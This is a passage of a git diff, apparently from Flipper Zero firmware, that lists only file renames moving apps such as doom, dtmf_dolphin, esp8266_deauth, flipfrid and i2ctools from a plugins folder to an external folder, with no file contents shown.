b/applications/external/dap_link/gui/views/dap_main_view.h similarity index 100% rename from applications/plugins/dap_link/gui/views/dap_main_view.h rename to applications/external/dap_link/gui/views/dap_main_view.h diff --git a/applications/plugins/dap_link/icons/ActiveConnection_50x64.png b/applications/external/dap_link/icons/ActiveConnection_50x64.png similarity index 100% rename from applications/plugins/dap_link/icons/ActiveConnection_50x64.png rename to applications/external/dap_link/icons/ActiveConnection_50x64.png diff --git a/applications/plugins/dap_link/icons/ArrowDownEmpty_12x18.png b/applications/external/dap_link/icons/ArrowDownEmpty_12x18.png similarity index 100% rename from applications/plugins/dap_link/icons/ArrowDownEmpty_12x18.png rename to applications/external/dap_link/icons/ArrowDownEmpty_12x18.png diff --git a/applications/plugins/dap_link/icons/ArrowDownFilled_12x18.png b/applications/external/dap_link/icons/ArrowDownFilled_12x18.png similarity index 100% rename from applications/plugins/dap_link/icons/ArrowDownFilled_12x18.png rename to applications/external/dap_link/icons/ArrowDownFilled_12x18.png diff --git a/applications/plugins/dap_link/icons/ArrowUpEmpty_12x18.png b/applications/external/dap_link/icons/ArrowUpEmpty_12x18.png similarity index 100% rename from applications/plugins/dap_link/icons/ArrowUpEmpty_12x18.png rename to applications/external/dap_link/icons/ArrowUpEmpty_12x18.png diff --git a/applications/plugins/dap_link/icons/ArrowUpFilled_12x18.png b/applications/external/dap_link/icons/ArrowUpFilled_12x18.png similarity index 100% rename from applications/plugins/dap_link/icons/ArrowUpFilled_12x18.png rename to applications/external/dap_link/icons/ArrowUpFilled_12x18.png diff --git a/applications/plugins/dap_link/usb/dap_v2_usb.c b/applications/external/dap_link/usb/dap_v2_usb.c similarity index 100% rename from applications/plugins/dap_link/usb/dap_v2_usb.c rename to applications/external/dap_link/usb/dap_v2_usb.c diff --git a/applications/plugins/dap_link/usb/dap_v2_usb.h b/applications/external/dap_link/usb/dap_v2_usb.h similarity index 100% rename from applications/plugins/dap_link/usb/dap_v2_usb.h rename to applications/external/dap_link/usb/dap_v2_usb.h diff --git a/applications/plugins/dap_link/usb/usb_winusb.h b/applications/external/dap_link/usb/usb_winusb.h similarity index 100% rename from applications/plugins/dap_link/usb/usb_winusb.h rename to applications/external/dap_link/usb/usb_winusb.h diff --git a/applications/plugins/doom/README.md b/applications/external/doom/README.md similarity index 100% rename from applications/plugins/doom/README.md rename to applications/external/doom/README.md diff --git a/applications/plugins/doom/application.fam b/applications/external/doom/application.fam similarity index 100% rename from applications/plugins/doom/application.fam rename to applications/external/doom/application.fam diff --git a/applications/plugins/doom/assets/door2.png b/applications/external/doom/assets/door2.png similarity index 100% rename from applications/plugins/doom/assets/door2.png rename to applications/external/doom/assets/door2.png diff --git a/applications/plugins/doom/assets/door_inv.png b/applications/external/doom/assets/door_inv.png similarity index 100% rename from applications/plugins/doom/assets/door_inv.png rename to applications/external/doom/assets/door_inv.png diff --git a/applications/plugins/doom/assets/fire_inv.png b/applications/external/doom/assets/fire_inv.png similarity index 100% rename from applications/plugins/doom/assets/fire_inv.png rename to applications/external/doom/assets/fire_inv.png diff --git a/applications/plugins/doom/assets/fireball_inv.png b/applications/external/doom/assets/fireball_inv.png similarity index 100% rename from applications/plugins/doom/assets/fireball_inv.png rename to applications/external/doom/assets/fireball_inv.png diff --git a/applications/plugins/doom/assets/fireball_mask_inv.png b/applications/external/doom/assets/fireball_mask_inv.png similarity index 100% rename from applications/plugins/doom/assets/fireball_mask_inv.png rename to applications/external/doom/assets/fireball_mask_inv.png diff --git a/applications/plugins/doom/assets/gradient_inv.png b/applications/external/doom/assets/gradient_inv.png similarity index 100% rename from applications/plugins/doom/assets/gradient_inv.png rename to applications/external/doom/assets/gradient_inv.png diff --git a/applications/plugins/doom/assets/gun_inv.png b/applications/external/doom/assets/gun_inv.png similarity index 100% rename from applications/plugins/doom/assets/gun_inv.png rename to applications/external/doom/assets/gun_inv.png diff --git a/applications/plugins/doom/assets/gun_mask_inv.png b/applications/external/doom/assets/gun_mask_inv.png similarity index 100% rename from applications/plugins/doom/assets/gun_mask_inv.png rename to applications/external/doom/assets/gun_mask_inv.png diff --git a/applications/plugins/doom/assets/imp_inv.png b/applications/external/doom/assets/imp_inv.png similarity index 100% rename from applications/plugins/doom/assets/imp_inv.png rename to applications/external/doom/assets/imp_inv.png diff --git a/applications/plugins/doom/assets/imp_mask_inv.png b/applications/external/doom/assets/imp_mask_inv.png similarity index 100% rename from applications/plugins/doom/assets/imp_mask_inv.png rename to applications/external/doom/assets/imp_mask_inv.png diff --git a/applications/plugins/doom/assets/item_inv.png b/applications/external/doom/assets/item_inv.png similarity index 100% rename from applications/plugins/doom/assets/item_inv.png rename to applications/external/doom/assets/item_inv.png diff --git a/applications/plugins/doom/assets/item_mask_inv.png b/applications/external/doom/assets/item_mask_inv.png similarity index 100% rename from applications/plugins/doom/assets/item_mask_inv.png rename to applications/external/doom/assets/item_mask_inv.png diff --git a/applications/plugins/doom/assets/logo_inv.png b/applications/external/doom/assets/logo_inv.png similarity index 100% rename from applications/plugins/doom/assets/logo_inv.png rename to applications/external/doom/assets/logo_inv.png diff --git a/applications/plugins/doom/assets/screenshot-imp2.jpg b/applications/external/doom/assets/screenshot-imp2.jpg similarity index 100% rename from applications/plugins/doom/assets/screenshot-imp2.jpg rename to applications/external/doom/assets/screenshot-imp2.jpg diff --git a/applications/plugins/doom/assets/screenshot-intro2.jpg b/applications/external/doom/assets/screenshot-intro2.jpg similarity index 100% rename from applications/plugins/doom/assets/screenshot-intro2.jpg rename to applications/external/doom/assets/screenshot-intro2.jpg diff --git a/applications/plugins/doom/assets/screenshot-medkit2.jpg b/applications/external/doom/assets/screenshot-medkit2.jpg similarity index 100% rename from applications/plugins/doom/assets/screenshot-medkit2.jpg rename to applications/external/doom/assets/screenshot-medkit2.jpg diff --git a/applications/plugins/doom/assets/screenshot-start2.jpg b/applications/external/doom/assets/screenshot-start2.jpg similarity index 100% rename from applications/plugins/doom/assets/screenshot-start2.jpg rename to applications/external/doom/assets/screenshot-start2.jpg diff --git a/applications/plugins/doom/assets/screenshot1.png b/applications/external/doom/assets/screenshot1.png similarity index 100% rename from applications/plugins/doom/assets/screenshot1.png rename to applications/external/doom/assets/screenshot1.png diff --git a/applications/plugins/doom/assets/screenshot2.png b/applications/external/doom/assets/screenshot2.png similarity index 100% rename from applications/plugins/doom/assets/screenshot2.png rename to applications/external/doom/assets/screenshot2.png diff --git a/applications/plugins/doom/assets/screenshot3.png b/applications/external/doom/assets/screenshot3.png similarity index 100% rename from applications/plugins/doom/assets/screenshot3.png rename to applications/external/doom/assets/screenshot3.png diff --git a/applications/plugins/doom/compiled/assets_icons.c b/applications/external/doom/compiled/assets_icons.c similarity index 100% rename from applications/plugins/doom/compiled/assets_icons.c rename to applications/external/doom/compiled/assets_icons.c diff --git a/applications/plugins/doom/compiled/assets_icons.h b/applications/external/doom/compiled/assets_icons.h similarity index 100% rename from applications/plugins/doom/compiled/assets_icons.h rename to applications/external/doom/compiled/assets_icons.h diff --git a/applications/plugins/doom/constants.h b/applications/external/doom/constants.h similarity index 100% rename from applications/plugins/doom/constants.h rename to applications/external/doom/constants.h diff --git a/applications/plugins/doom/display.h b/applications/external/doom/display.h similarity index 100% rename from applications/plugins/doom/display.h rename to applications/external/doom/display.h diff --git a/applications/plugins/doom/doom.c b/applications/external/doom/doom.c similarity index 100% rename from applications/plugins/doom/doom.c rename to applications/external/doom/doom.c diff --git a/applications/plugins/doom/doom_10px.png b/applications/external/doom/doom_10px.png similarity index 100% rename from applications/plugins/doom/doom_10px.png rename to applications/external/doom/doom_10px.png diff --git a/applications/plugins/doom/doom_music_player_worker.c b/applications/external/doom/doom_music_player_worker.c similarity index 100% rename from applications/plugins/doom/doom_music_player_worker.c rename to applications/external/doom/doom_music_player_worker.c diff --git a/applications/plugins/doom/doom_music_player_worker.h b/applications/external/doom/doom_music_player_worker.h similarity index 100% rename from applications/plugins/doom/doom_music_player_worker.h rename to applications/external/doom/doom_music_player_worker.h diff --git a/applications/plugins/doom/entities.c b/applications/external/doom/entities.c similarity index 100% rename from applications/plugins/doom/entities.c rename to applications/external/doom/entities.c diff --git a/applications/plugins/doom/entities.h b/applications/external/doom/entities.h similarity index 100% rename from applications/plugins/doom/entities.h rename to applications/external/doom/entities.h diff --git a/applications/plugins/doom/level.h b/applications/external/doom/level.h similarity index 100% rename from applications/plugins/doom/level.h rename to applications/external/doom/level.h diff --git a/applications/plugins/doom/sound.h b/applications/external/doom/sound.h similarity index 100% rename from applications/plugins/doom/sound.h rename to applications/external/doom/sound.h diff --git a/applications/plugins/doom/types.c b/applications/external/doom/types.c similarity index 100% rename from applications/plugins/doom/types.c rename to applications/external/doom/types.c diff --git a/applications/plugins/doom/types.h b/applications/external/doom/types.h similarity index 100% rename from applications/plugins/doom/types.h rename to applications/external/doom/types.h diff --git a/applications/plugins/dtmf_dolphin/LICENSE b/applications/external/dtmf_dolphin/LICENSE similarity index 100% rename from applications/plugins/dtmf_dolphin/LICENSE rename to applications/external/dtmf_dolphin/LICENSE diff --git a/applications/plugins/dtmf_dolphin/README.md b/applications/external/dtmf_dolphin/README.md similarity index 100% rename from applications/plugins/dtmf_dolphin/README.md rename to applications/external/dtmf_dolphin/README.md diff --git a/applications/plugins/dtmf_dolphin/application.fam b/applications/external/dtmf_dolphin/application.fam similarity index 100% rename from applications/plugins/dtmf_dolphin/application.fam rename to applications/external/dtmf_dolphin/application.fam diff --git a/applications/plugins/dtmf_dolphin/dtmf_dolphin.c b/applications/external/dtmf_dolphin/dtmf_dolphin.c similarity index 100% rename from applications/plugins/dtmf_dolphin/dtmf_dolphin.c rename to applications/external/dtmf_dolphin/dtmf_dolphin.c diff --git a/applications/plugins/dtmf_dolphin/dtmf_dolphin_audio.c b/applications/external/dtmf_dolphin/dtmf_dolphin_audio.c similarity index 100% rename from applications/plugins/dtmf_dolphin/dtmf_dolphin_audio.c rename to applications/external/dtmf_dolphin/dtmf_dolphin_audio.c diff --git a/applications/plugins/dtmf_dolphin/dtmf_dolphin_audio.h b/applications/external/dtmf_dolphin/dtmf_dolphin_audio.h similarity index 100% rename from applications/plugins/dtmf_dolphin/dtmf_dolphin_audio.h rename to applications/external/dtmf_dolphin/dtmf_dolphin_audio.h diff --git a/applications/plugins/dtmf_dolphin/dtmf_dolphin_data.c b/applications/external/dtmf_dolphin/dtmf_dolphin_data.c similarity index 100% rename from applications/plugins/dtmf_dolphin/dtmf_dolphin_data.c rename to applications/external/dtmf_dolphin/dtmf_dolphin_data.c diff --git a/applications/plugins/dtmf_dolphin/dtmf_dolphin_data.h b/applications/external/dtmf_dolphin/dtmf_dolphin_data.h similarity index 100% rename from applications/plugins/dtmf_dolphin/dtmf_dolphin_data.h rename to applications/external/dtmf_dolphin/dtmf_dolphin_data.h diff --git a/applications/plugins/dtmf_dolphin/dtmf_dolphin_event.h b/applications/external/dtmf_dolphin/dtmf_dolphin_event.h similarity index 100% rename from applications/plugins/dtmf_dolphin/dtmf_dolphin_event.h rename to applications/external/dtmf_dolphin/dtmf_dolphin_event.h diff --git a/applications/plugins/dtmf_dolphin/dtmf_dolphin_hal.c b/applications/external/dtmf_dolphin/dtmf_dolphin_hal.c similarity index 100% rename from applications/plugins/dtmf_dolphin/dtmf_dolphin_hal.c rename to applications/external/dtmf_dolphin/dtmf_dolphin_hal.c diff --git a/applications/plugins/dtmf_dolphin/dtmf_dolphin_hal.h b/applications/external/dtmf_dolphin/dtmf_dolphin_hal.h similarity index 100% rename from applications/plugins/dtmf_dolphin/dtmf_dolphin_hal.h rename to applications/external/dtmf_dolphin/dtmf_dolphin_hal.h diff --git a/applications/plugins/dtmf_dolphin/dtmf_dolphin_i.h b/applications/external/dtmf_dolphin/dtmf_dolphin_i.h similarity index 100% rename from applications/plugins/dtmf_dolphin/dtmf_dolphin_i.h rename to applications/external/dtmf_dolphin/dtmf_dolphin_i.h diff --git a/applications/plugins/dtmf_dolphin/phone.png b/applications/external/dtmf_dolphin/phone.png similarity index 100% rename from applications/plugins/dtmf_dolphin/phone.png rename to applications/external/dtmf_dolphin/phone.png diff --git a/applications/plugins/dtmf_dolphin/pics/dialer.jpg b/applications/external/dtmf_dolphin/pics/dialer.jpg similarity index 100% rename from applications/plugins/dtmf_dolphin/pics/dialer.jpg rename to applications/external/dtmf_dolphin/pics/dialer.jpg diff --git a/applications/plugins/dtmf_dolphin/scenes/dtmf_dolphin_scene.c b/applications/external/dtmf_dolphin/scenes/dtmf_dolphin_scene.c similarity index 100% rename from applications/plugins/dtmf_dolphin/scenes/dtmf_dolphin_scene.c rename to applications/external/dtmf_dolphin/scenes/dtmf_dolphin_scene.c diff --git a/applications/plugins/dtmf_dolphin/scenes/dtmf_dolphin_scene.h b/applications/external/dtmf_dolphin/scenes/dtmf_dolphin_scene.h similarity index 100% rename from applications/plugins/dtmf_dolphin/scenes/dtmf_dolphin_scene.h rename to applications/external/dtmf_dolphin/scenes/dtmf_dolphin_scene.h diff --git a/applications/plugins/dtmf_dolphin/scenes/dtmf_dolphin_scene_config.h b/applications/external/dtmf_dolphin/scenes/dtmf_dolphin_scene_config.h similarity index 100% rename from applications/plugins/dtmf_dolphin/scenes/dtmf_dolphin_scene_config.h rename to applications/external/dtmf_dolphin/scenes/dtmf_dolphin_scene_config.h diff --git a/applications/plugins/dtmf_dolphin/scenes/dtmf_dolphin_scene_dialer.c b/applications/external/dtmf_dolphin/scenes/dtmf_dolphin_scene_dialer.c similarity index 100% rename from applications/plugins/dtmf_dolphin/scenes/dtmf_dolphin_scene_dialer.c rename to applications/external/dtmf_dolphin/scenes/dtmf_dolphin_scene_dialer.c diff --git a/applications/plugins/dtmf_dolphin/scenes/dtmf_dolphin_scene_start.c b/applications/external/dtmf_dolphin/scenes/dtmf_dolphin_scene_start.c similarity index 100% rename from applications/plugins/dtmf_dolphin/scenes/dtmf_dolphin_scene_start.c rename to applications/external/dtmf_dolphin/scenes/dtmf_dolphin_scene_start.c diff --git a/applications/plugins/dtmf_dolphin/views/dtmf_dolphin_common.h b/applications/external/dtmf_dolphin/views/dtmf_dolphin_common.h similarity index 100% rename from applications/plugins/dtmf_dolphin/views/dtmf_dolphin_common.h rename to applications/external/dtmf_dolphin/views/dtmf_dolphin_common.h diff --git a/applications/plugins/dtmf_dolphin/views/dtmf_dolphin_dialer.c b/applications/external/dtmf_dolphin/views/dtmf_dolphin_dialer.c similarity index 100% rename from applications/plugins/dtmf_dolphin/views/dtmf_dolphin_dialer.c rename to applications/external/dtmf_dolphin/views/dtmf_dolphin_dialer.c diff --git a/applications/plugins/dtmf_dolphin/views/dtmf_dolphin_dialer.h b/applications/external/dtmf_dolphin/views/dtmf_dolphin_dialer.h similarity index 100% rename from applications/plugins/dtmf_dolphin/views/dtmf_dolphin_dialer.h rename to applications/external/dtmf_dolphin/views/dtmf_dolphin_dialer.h diff --git a/applications/plugins/esp8266_deauth/FlipperZeroWiFiDeauthModuleDefines.h b/applications/external/esp8266_deauth/FlipperZeroWiFiDeauthModuleDefines.h similarity index 100% rename from applications/plugins/esp8266_deauth/FlipperZeroWiFiDeauthModuleDefines.h rename to applications/external/esp8266_deauth/FlipperZeroWiFiDeauthModuleDefines.h diff --git a/applications/plugins/esp8266_deauth/application.fam b/applications/external/esp8266_deauth/application.fam similarity index 100% rename from applications/plugins/esp8266_deauth/application.fam rename to applications/external/esp8266_deauth/application.fam diff --git a/applications/plugins/esp8266_deauth/esp8266_deauth.c b/applications/external/esp8266_deauth/esp8266_deauth.c similarity index 100% rename from applications/plugins/esp8266_deauth/esp8266_deauth.c rename to applications/external/esp8266_deauth/esp8266_deauth.c diff --git a/applications/plugins/esp8266_deauth/wifi_10px.png b/applications/external/esp8266_deauth/wifi_10px.png similarity index 100% rename from applications/plugins/esp8266_deauth/wifi_10px.png rename to applications/external/esp8266_deauth/wifi_10px.png diff --git a/applications/plugins/flappy_bird/application.fam b/applications/external/flappy_bird/application.fam similarity index 100% rename from applications/plugins/flappy_bird/application.fam rename to applications/external/flappy_bird/application.fam diff --git a/applications/plugins/flappy_bird/assets/bird/frame_01.png b/applications/external/flappy_bird/assets/bird/frame_01.png similarity index 100% rename from applications/plugins/flappy_bird/assets/bird/frame_01.png rename to applications/external/flappy_bird/assets/bird/frame_01.png diff --git a/applications/plugins/flappy_bird/assets/bird/frame_02.png b/applications/external/flappy_bird/assets/bird/frame_02.png similarity index 100% rename from applications/plugins/flappy_bird/assets/bird/frame_02.png rename to applications/external/flappy_bird/assets/bird/frame_02.png diff --git a/applications/plugins/flappy_bird/assets/bird/frame_03.png b/applications/external/flappy_bird/assets/bird/frame_03.png similarity index 100% rename from applications/plugins/flappy_bird/assets/bird/frame_03.png rename to applications/external/flappy_bird/assets/bird/frame_03.png diff --git a/applications/plugins/flappy_bird/assets/bird/frame_rate b/applications/external/flappy_bird/assets/bird/frame_rate similarity index 100% rename from applications/plugins/flappy_bird/assets/bird/frame_rate rename to applications/external/flappy_bird/assets/bird/frame_rate diff --git a/applications/plugins/flappy_bird/flappy_10px.png b/applications/external/flappy_bird/flappy_10px.png similarity index 100% rename from applications/plugins/flappy_bird/flappy_10px.png rename to applications/external/flappy_bird/flappy_10px.png diff --git a/applications/plugins/flappy_bird/flappy_bird.c b/applications/external/flappy_bird/flappy_bird.c similarity index 100% rename from applications/plugins/flappy_bird/flappy_bird.c rename to applications/external/flappy_bird/flappy_bird.c diff --git a/applications/plugins/flashlight/LICENSE b/applications/external/flashlight/LICENSE similarity index 100% rename from applications/plugins/flashlight/LICENSE rename to applications/external/flashlight/LICENSE diff --git a/applications/plugins/flashlight/README.md b/applications/external/flashlight/README.md similarity index 100% rename from applications/plugins/flashlight/README.md rename to applications/external/flashlight/README.md diff --git a/applications/plugins/flashlight/application.fam b/applications/external/flashlight/application.fam similarity index 100% rename from applications/plugins/flashlight/application.fam rename to applications/external/flashlight/application.fam diff --git a/applications/plugins/flashlight/flash10px.png b/applications/external/flashlight/flash10px.png similarity index 100% rename from applications/plugins/flashlight/flash10px.png rename to applications/external/flashlight/flash10px.png diff --git a/applications/plugins/flashlight/flashlight.c b/applications/external/flashlight/flashlight.c similarity index 100% rename from applications/plugins/flashlight/flashlight.c rename to applications/external/flashlight/flashlight.c diff --git a/applications/plugins/flipfrid/LICENSE.md b/applications/external/flipfrid/LICENSE.md similarity index 100% rename from applications/plugins/flipfrid/LICENSE.md rename to applications/external/flipfrid/LICENSE.md diff --git a/applications/plugins/flipfrid/README.md b/applications/external/flipfrid/README.md similarity index 100% rename from applications/plugins/flipfrid/README.md rename to applications/external/flipfrid/README.md diff --git a/applications/plugins/flipfrid/application.fam b/applications/external/flipfrid/application.fam similarity index 100% rename from applications/plugins/flipfrid/application.fam rename to applications/external/flipfrid/application.fam diff --git a/applications/plugins/flipfrid/flipfrid.c b/applications/external/flipfrid/flipfrid.c similarity index 100% rename from applications/plugins/flipfrid/flipfrid.c rename to applications/external/flipfrid/flipfrid.c diff --git a/applications/plugins/flipfrid/flipfrid.h b/applications/external/flipfrid/flipfrid.h similarity index 100% rename from applications/plugins/flipfrid/flipfrid.h rename to applications/external/flipfrid/flipfrid.h diff --git a/applications/plugins/flipfrid/images/125_10px.png b/applications/external/flipfrid/images/125_10px.png similarity index 100% rename from applications/plugins/flipfrid/images/125_10px.png rename to applications/external/flipfrid/images/125_10px.png diff --git a/applications/plugins/flipfrid/rfid_10px.png b/applications/external/flipfrid/rfid_10px.png similarity index 100% rename from applications/plugins/flipfrid/rfid_10px.png rename to applications/external/flipfrid/rfid_10px.png diff --git a/applications/plugins/flipfrid/scene/flipfrid_scene_entrypoint.c b/applications/external/flipfrid/scene/flipfrid_scene_entrypoint.c similarity index 100% rename from applications/plugins/flipfrid/scene/flipfrid_scene_entrypoint.c rename to applications/external/flipfrid/scene/flipfrid_scene_entrypoint.c diff --git a/applications/plugins/flipfrid/scene/flipfrid_scene_entrypoint.h b/applications/external/flipfrid/scene/flipfrid_scene_entrypoint.h similarity index 100% rename from applications/plugins/flipfrid/scene/flipfrid_scene_entrypoint.h rename to applications/external/flipfrid/scene/flipfrid_scene_entrypoint.h diff --git a/applications/plugins/flipfrid/scene/flipfrid_scene_load_custom_uids.c b/applications/external/flipfrid/scene/flipfrid_scene_load_custom_uids.c similarity index 100% rename from applications/plugins/flipfrid/scene/flipfrid_scene_load_custom_uids.c rename to applications/external/flipfrid/scene/flipfrid_scene_load_custom_uids.c diff --git a/applications/plugins/flipfrid/scene/flipfrid_scene_load_custom_uids.h b/applications/external/flipfrid/scene/flipfrid_scene_load_custom_uids.h similarity index 100% rename from applications/plugins/flipfrid/scene/flipfrid_scene_load_custom_uids.h rename to applications/external/flipfrid/scene/flipfrid_scene_load_custom_uids.h diff --git a/applications/plugins/flipfrid/scene/flipfrid_scene_load_file.c b/applications/external/flipfrid/scene/flipfrid_scene_load_file.c similarity index 100% rename from applications/plugins/flipfrid/scene/flipfrid_scene_load_file.c rename to applications/external/flipfrid/scene/flipfrid_scene_load_file.c diff --git a/applications/plugins/flipfrid/scene/flipfrid_scene_load_file.h b/applications/external/flipfrid/scene/flipfrid_scene_load_file.h similarity index 100% rename from applications/plugins/flipfrid/scene/flipfrid_scene_load_file.h rename to applications/external/flipfrid/scene/flipfrid_scene_load_file.h diff --git a/applications/plugins/flipfrid/scene/flipfrid_scene_run_attack.c b/applications/external/flipfrid/scene/flipfrid_scene_run_attack.c similarity index 100% rename from applications/plugins/flipfrid/scene/flipfrid_scene_run_attack.c rename to applications/external/flipfrid/scene/flipfrid_scene_run_attack.c diff --git a/applications/plugins/flipfrid/scene/flipfrid_scene_run_attack.h b/applications/external/flipfrid/scene/flipfrid_scene_run_attack.h similarity index 100% rename from applications/plugins/flipfrid/scene/flipfrid_scene_run_attack.h rename to applications/external/flipfrid/scene/flipfrid_scene_run_attack.h diff --git a/applications/plugins/flipfrid/scene/flipfrid_scene_select_field.c b/applications/external/flipfrid/scene/flipfrid_scene_select_field.c similarity index 100% rename from applications/plugins/flipfrid/scene/flipfrid_scene_select_field.c rename to applications/external/flipfrid/scene/flipfrid_scene_select_field.c diff --git a/applications/plugins/flipfrid/scene/flipfrid_scene_select_field.h b/applications/external/flipfrid/scene/flipfrid_scene_select_field.h similarity index 100% rename from applications/plugins/flipfrid/scene/flipfrid_scene_select_field.h rename to applications/external/flipfrid/scene/flipfrid_scene_select_field.h diff --git a/applications/plugins/flipper_i2ctools/README.md b/applications/external/flipper_i2ctools/README.md similarity index 100% rename from applications/plugins/flipper_i2ctools/README.md rename to applications/external/flipper_i2ctools/README.md diff --git a/applications/plugins/flipper_i2ctools/application.fam b/applications/external/flipper_i2ctools/application.fam similarity index 100% rename from applications/plugins/flipper_i2ctools/application.fam rename to applications/external/flipper_i2ctools/application.fam diff --git a/applications/plugins/flipper_i2ctools/i2cscanner.c b/applications/external/flipper_i2ctools/i2cscanner.c similarity index 100% rename from applications/plugins/flipper_i2ctools/i2cscanner.c rename to applications/external/flipper_i2ctools/i2cscanner.c diff --git a/applications/plugins/flipper_i2ctools/i2cscanner.h b/applications/external/flipper_i2ctools/i2cscanner.h similarity index 100% rename from applications/plugins/flipper_i2ctools/i2cscanner.h rename to applications/external/flipper_i2ctools/i2cscanner.h diff --git a/applications/plugins/flipper_i2ctools/i2csender.c b/applications/external/flipper_i2ctools/i2csender.c similarity index 100% rename from applications/plugins/flipper_i2ctools/i2csender.c rename to applications/external/flipper_i2ctools/i2csender.c diff --git a/applications/plugins/flipper_i2ctools/i2csender.h b/applications/external/flipper_i2ctools/i2csender.h similarity index 100% rename from applications/plugins/flipper_i2ctools/i2csender.h rename to applications/external/flipper_i2ctools/i2csender.h diff --git a/applications/plugins/flipper_i2ctools/i2csniffer.c b/applications/external/flipper_i2ctools/i2csniffer.c similarity index 100% rename from applications/plugins/flipper_i2ctools/i2csniffer.c rename to applications/external/flipper_i2ctools/i2csniffer.c diff --git a/applications/plugins/flipper_i2ctools/i2csniffer.h b/applications/external/flipper_i2ctools/i2csniffer.h similarity index 100% rename from applications/plugins/flipper_i2ctools/i2csniffer.h rename to applications/external/flipper_i2ctools/i2csniffer.h diff --git a/applications/plugins/flipper_i2ctools/i2ctools.c b/applications/external/flipper_i2ctools/i2ctools.c similarity index 100% rename from applications/plugins/flipper_i2ctools/i2ctools.c rename to applications/external/flipper_i2ctools/i2ctools.c diff --git a/applications/plugins/flipper_i2ctools/i2ctools.gif b/applications/external/flipper_i2ctools/i2ctools.gif similarity index 100% rename from applications/plugins/flipper_i2ctools/i2ctools.gif rename to applications/external/flipper_i2ctools/i2ctools.gif diff --git a/applications/plugins/flipper_i2ctools/i2ctools.png b/applications/external/flipper_i2ctools/i2ctools.png similarity index 100% rename from applications/plugins/flipper_i2ctools/i2ctools.png rename to applications/external/flipper_i2ctools/i2ctools.png diff --git a/applications/plugins/flipper_i2ctools/i2ctools_i.h b/applications/external/flipper_i2ctools/i2ctools_i.h similarity index 100% rename from applications/plugins/flipper_i2ctools/i2ctools_i.h rename to applications/external/flipper_i2ctools/i2ctools_i.h diff --git a/applications/plugins/flipper_i2ctools/images/ButtonDown_7x4.png b/applications/external/flipper_i2ctools/images/ButtonDown_7x4.png similarity index 100% rename from applications/plugins/flipper_i2ctools/images/ButtonDown_7x4.png rename to applications/external/flipper_i2ctools/images/ButtonDown_7x4.png diff --git a/applications/plugins/flipper_i2ctools/images/ButtonLeft_4x7.png b/applications/external/flipper_i2ctools/images/ButtonLeft_4x7.png similarity index 100% rename from applications/plugins/flipper_i2ctools/images/ButtonLeft_4x7.png rename to applications/external/flipper_i2ctools/images/ButtonLeft_4x7.png diff --git a/applications/plugins/flipper_i2ctools/images/ButtonRight_4x7.png b/applications/external/flipper_i2ctools/images/ButtonRight_4x7.png similarity index 100% rename from applications/plugins/flipper_i2ctools/images/ButtonRight_4x7.png rename to applications/external/flipper_i2ctools/images/ButtonRight_4x7.png diff --git a/applications/plugins/flipper_i2ctools/images/ButtonUp_7x4.png b/applications/external/flipper_i2ctools/images/ButtonUp_7x4.png similarity index 100% rename from applications/plugins/flipper_i2ctools/images/ButtonUp_7x4.png rename to applications/external/flipper_i2ctools/images/ButtonUp_7x4.png diff --git a/applications/plugins/flipper_i2ctools/images/Ok_btn_9x9.png b/applications/external/flipper_i2ctools/images/Ok_btn_9x9.png similarity index 100% rename from applications/plugins/flipper_i2ctools/images/Ok_btn_9x9.png rename to applications/external/flipper_i2ctools/images/Ok_btn_9x9.png diff --git a/applications/plugins/flipper_i2ctools/images/i2ctools_main_76x59.png b/applications/external/flipper_i2ctools/images/i2ctools_main_76x59.png similarity index 100% rename from applications/plugins/flipper_i2ctools/images/i2ctools_main_76x59.png rename to applications/external/flipper_i2ctools/images/i2ctools_main_76x59.png diff --git a/applications/plugins/flipper_i2ctools/views/main_view.c b/applications/external/flipper_i2ctools/views/main_view.c similarity index 100% rename from applications/plugins/flipper_i2ctools/views/main_view.c rename to applications/external/flipper_i2ctools/views/main_view.c diff --git a/applications/plugins/flipper_i2ctools/views/main_view.h b/applications/external/flipper_i2ctools/views/main_view.h similarity index 100% rename from applications/plugins/flipper_i2ctools/views/main_view.h rename to applications/external/flipper_i2ctools/views/main_view.h diff --git a/applications/plugins/flipper_i2ctools/views/scanner_view.c b/applications/external/flipper_i2ctools/views/scanner_view.c similarity index 100% rename from applications/plugins/flipper_i2ctools/views/scanner_view.c rename to applications/external/flipper_i2ctools/views/scanner_view.c diff --git a/applications/plugins/flipper_i2ctools/views/scanner_view.h b/applications/external/flipper_i2ctools/views/scanner_view.h similarity index 100% rename from applications/plugins/flipper_i2ctools/views/scanner_view.h rename to applications/external/flipper_i2ctools/views/scanner_view.h diff --git a/applications/plugins/flipper_i2ctools/views/sender_view.c b/applications/external/flipper_i2ctools/views/sender_view.c similarity index 100% rename from applications/plugins/flipper_i2ctools/views/sender_view.c rename to applications/external/flipper_i2ctools/views/sender_view.c diff --git a/applications/plugins/flipper_i2ctools/views/sender_view.h b/applications/external/flipper_i2ctools/views/sender_view.h similarity index 100% rename from applications/plugins/flipper_i2ctools/views/sender_view.h rename to applications/external/flipper_i2ctools/views/sender_view.h diff --git a/applications/plugins/flipper_i2ctools/views/sniffer_view.c b/applications/external/flipper_i2ctools/views/sniffer_view.c similarity index 100% rename from applications/plugins/flipper_i2ctools/views/sniffer_view.c rename to applications/external/flipper_i2ctools/views/sniffer_view.c diff --git a/applications/plugins/flipper_i2ctools/views/sniffer_view.h b/applications/external/flipper_i2ctools/views/sniffer_view.h similarity index 100% rename from applications/plugins/flipper_i2ctools/views/sniffer_view.h rename to applications/external/flipper_i2ctools/views/sniffer_view.h diff --git a/applications/plugins/game15/README.md b/applications/external/game15/README.md similarity index 100% rename from applications/plugins/game15/README.md rename to applications/external/game15/README.md diff --git a/applications/plugins/game15/application.fam b/applications/external/game15/application.fam similarity index 100% rename from applications/plugins/game15/application.fam rename to applications/external/game15/application.fam diff --git a/applications/plugins/game15/game15.c b/applications/external/game15/game15.c similarity index 100% rename from applications/plugins/game15/game15.c rename to applications/external/game15/game15.c diff --git a/applications/plugins/game15/game15_10px.png b/applications/external/game15/game15_10px.png similarity index 100% rename from applications/plugins/game15/game15_10px.png rename to applications/external/game15/game15_10px.png diff --git a/applications/plugins/game15/images/Game15.png b/applications/external/game15/images/Game15.png similarity index 100% rename from applications/plugins/game15/images/Game15.png rename to applications/external/game15/images/Game15.png diff --git a/applications/plugins/game15/images/Game15Popup.png b/applications/external/game15/images/Game15Popup.png similarity index 100% rename from applications/plugins/game15/images/Game15Popup.png rename to applications/external/game15/images/Game15Popup.png diff --git a/applications/plugins/game15/images/Game15Restore.png b/applications/external/game15/images/Game15Restore.png similarity index 100% rename from applications/plugins/game15/images/Game15Restore.png rename to 